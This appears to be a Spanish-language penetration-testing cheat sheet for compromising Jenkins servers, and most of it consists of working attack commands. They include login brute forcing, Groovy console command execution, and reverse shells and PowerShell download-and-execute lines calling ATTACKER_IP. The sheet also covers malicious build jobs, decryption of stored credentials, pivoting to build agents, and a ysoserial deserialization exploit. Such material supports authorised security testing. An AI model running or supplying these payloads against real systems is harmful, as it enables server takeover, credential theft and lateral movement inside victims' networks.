Skip to content

Jenkins — Discovery & Enumeration

Jenkins es la plataforma de automatización CI/CD más utilizada. Un servidor Jenkins comprometido suele ser un objetivo de altísimo valor: además de ejecución de comandos directa (vía Groovy Script Console), frecuentemente tiene credenciales almacenadas para repositorios de código, servidores de despliegue, y otros sistemas internos — lo que lo convierte en un punto de pivote clave para movimiento lateral.

Discovery / Footprinting

Identificación del servicio en la red:

c
❯ nmap -p 8080 --script http-title <IP>
c
❯ whatweb http://<IP>:8080

Descubrimiento de endpoints sensibles

Información general del servidor Jenkins en formato JSON (versión, jobs, nodos configurados):

c
❯ curl -s -X GET http://<IP>:8080/api/json

Comprobar si la enumeración de usuarios vía perfil está expuesta (a veces revela si un username existe según el código de respuesta):

c
❯ curl -s -X GET http://<IP>:8080/securityRealm/user/admin

Fuerza bruta de credenciales

c
❯ hydra -L users.txt -P passwords.txt <IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=Invalid"
  • El endpoint /j_acegi_security_check corresponde a versiones de Jenkins con el security realm clásico basado en Acegi Security; en versiones más recientes el endpoint puede ser /j_spring_security_check — confirmar cuál usa el objetivo antes de lanzar el ataque revisando el action del formulario de login en el HTML.

Enumeración de plugins instalados

c
❯ curl -s -X GET http://<IP>:8080/pluginManager/api/json?depth=1 | jq
  • Cada plugin y su versión listada aquí es un candidato para buscar CVEs específicos — los plugins (no el core de Jenkins) son la fuente más común de vulnerabilidades explotables.

Enumeración de Jobs y Builds

c
❯ curl -s -X GET http://<IP>:8080/job/<JOB_NAME>/api/json

Listar todos los jobs configurados (para no depender de adivinar nombres):

c
❯ curl -s -X GET http://<IP>:8080/api/json?tree=jobs[name] | jq

Información de nodos/agentes configurados (relevante para movimiento lateral si Jenkins opera en modo master-slave):

c
❯ curl -s -X GET http://<IP>:8080/computer/api/json

Identificación de configuraciones débiles

c
❯ curl -s -X GET http://<IP>:8080/config.xml
c
❯ curl -s -X GET http://<IP>:8080/manage
  • Si /config.xml es accesible sin autenticación, puede revelar detalles de la configuración de seguridad global — un indicio temprano de que el resto del panel podría estar igual de expuesto.

Ataques a Jenkins

1. Explotación de la Groovy Script Console

Si el endpoint /script (interfaz web) o /scriptText (API) está accesible — ya sea sin autenticación o con credenciales obtenidas — se puede ejecutar código Groovy arbitrario, que a su vez puede invocar comandos del sistema operativo directamente:

c
❯ curl -X POST http://<IP>:8080/scriptText --data-urlencode "script=println 'Hacked!'.execute().text"
  • Este es el vector de explotación más directo y de mayor impacto en Jenkins: la consola Groovy corre con los mismos privilegios que el propio proceso Jenkins (a menudo una cuenta de servicio con permisos elevados en el host, y con credenciales de otros sistemas configuradas).

Reverse shell en Linux vía Groovy:

groovy
def cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'".execute()
cmd.waitFor()

Reverse shell en Windows vía Groovy (descarga y ejecuta un script de PowerShell remoto):

groovy
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')".execute()
cmd.waitFor()

Con un listener preparado del lado del atacante:

c
❯ nc -lvnp 4444

2. Explotación de credenciales expuestas

Consultar el almacén de credenciales de Jenkins (requiere ciertos privilegios, pero a veces está mal configurado y accesible con autenticación mínima):

c
❯ curl -s -X GET http://<IP>:8080/credentials/store/system/domain/_/api/json

Si las credenciales aparecen como un hash (por ejemplo, contraseñas de usuarios locales de Jenkins almacenadas con hash), intentar crackearlas offline:

c
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Con acceso de administrador al panel, Jenkins también permite desencriptar directamente credenciales almacenadas (no solo hashes) usando la propia consola Script, ya que Jenkins guarda las claves de descifrado localmente:

groovy
println(hudson.util.Secret.decrypt("{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX=}"))
  • El valor cifrado se obtiene típicamente del archivo credentials.xml (accesible con privilegios de administrador vía el sistema de archivos, o a través de la consola Script leyendo $JENKINS_HOME/credentials.xml) — esta técnica evita depender de crackeo por fuerza bruta cuando ya se tiene acceso administrativo.

3. RCE a través de Build Jobs

Si se tienen permisos para crear/modificar un Job (incluso sin acceso directo a la consola Script):

  1. Crear un nuevo Job en /newJob.
  2. Configurar el Build con un comando malicioso como paso de ejecución (Execute shell / Execute Windows batch command):
    • Linux: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    • Windows: powershell IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')
  3. Ejecutar el Job ("Build Now") y capturar la shell en el listener del atacante:
    c
    ❯ nc -lvnp 4444
  • Esta vía es útil cuando la cuenta comprometida tiene permisos de "Job configure/build" pero no el rol de administrador completo necesario para la consola Script — un escenario común en configuraciones de Jenkins con control de acceso granular (matrix-based security).

4. Explotación de plugins vulnerables

c
❯ curl -s http://<IP>:8080/pluginManager/api/json?depth=1 | jq
  • Si se detecta el Script Security Plugin en una versión anterior a 1.50, es posible desactivar el sandbox de Groovy y ejecutar código arbitrario sin las restricciones normales del sandbox — buscar el CVE específico asociado a la versión detectada.
  • Otros plugins con historial de CVEs críticos a revisar: Pipeline: Groovy, Git Plugin (RCE vía parámetros de URL de repositorio), CLI (deserialización, ver más abajo).

5. Escalada de privilegios y movimiento lateral

Una vez con ejecución de comandos (por cualquiera de las vías anteriores), reconocimiento local estándar:

c
❯ whoami
❯ id
❯ cat /etc/passwd

Si Jenkins está configurado en modo Master-Agent (antes llamado Master-Slave), se puede intentar ejecutar Groovy directamente en un agente específico, pivotando más allá del servidor Jenkins principal:

c
❯ curl -X POST http://<IP>:8080/computer/agente-01/scriptText --data-urlencode "script=println 'whoami'.execute().text"
  • Cada agente puede correr en un host físicamente distinto (a menudo con su propio conjunto de credenciales/acceso a recursos internos) — esto convierte a Jenkins en un punto de pivote particularmente valioso en redes con múltiples agentes de build distribuidos.

6. Deserialización y exploits públicos (CVE-2017-1000353)

Ciertas versiones de Jenkins son vulnerables a deserialización insegura de Java a través de su interfaz CLI remota, permitiendo RCE sin autenticación:

c
❯ java -jar ysoserial.jar CommonsCollections6 "nc -e /bin/bash ATTACKER_IP 4444" | nc <IP> 8080
  • ysoserial genera el payload de deserialización malicioso usando una cadena de gadgets conocida (CommonsCollections6 en este caso; según la versión exacta de las librerías presentes en el classpath del objetivo, puede ser necesario probar otras cadenas de ysoserial).
  • Esta vulnerabilidad afecta a versiones de Jenkins anteriores a la 2.56 (LTS 2.46.2) — confirmar la versión exacta (vía /api/json o la página de login) antes de intentarlo.

Comandos adicionales de enumeración

Descubrir si el registro de nuevos usuarios está abierto (Jenkins a veces se despliega sin restringir esto, permitiendo crear una cuenta propia de bajo privilegio como punto de partida):

c
❯ curl -s http://<IP>:8080/signup

Enumerar el historial de builds de un job específico, que a menudo revela variables de entorno, rutas internas, o incluso credenciales impresas accidentalmente en la consola de salida:

c
❯ curl -s http://<IP>:8080/job/<JOB_NAME>/lastBuild/consoleText

Descargar el CLI oficial de Jenkins (útil como cliente alternativo cuando ya se dispone de credenciales, para interactuar sin depender de peticiones HTTP manuales):

c
❯ curl -s http://<IP>:8080/jnlpJars/jenkins-cli.jar -o jenkins-cli.jar
❯ java -jar jenkins-cli.jar -s http://<IP>:8080/ -auth user:pass who-am-i

Notas de metodología

  • El acceso sin autenticación a /script//scriptText es, con diferencia, el hallazgo más crítico y directo posible en Jenkins — siempre probarlo primero, antes de cualquier otra vía de este documento.
  • Documentar cuidadosamente cualquier credencial descifrada de credentials.xml, ya que suele abrir acceso a sistemas completamente distintos (repositorios Git privados, servidores de despliegue, otras cuentas cloud) más allá del propio Jenkins — el verdadero impacto de comprometer un servidor CI/CD casi siempre está en lo que almacena, no en el servidor en sí.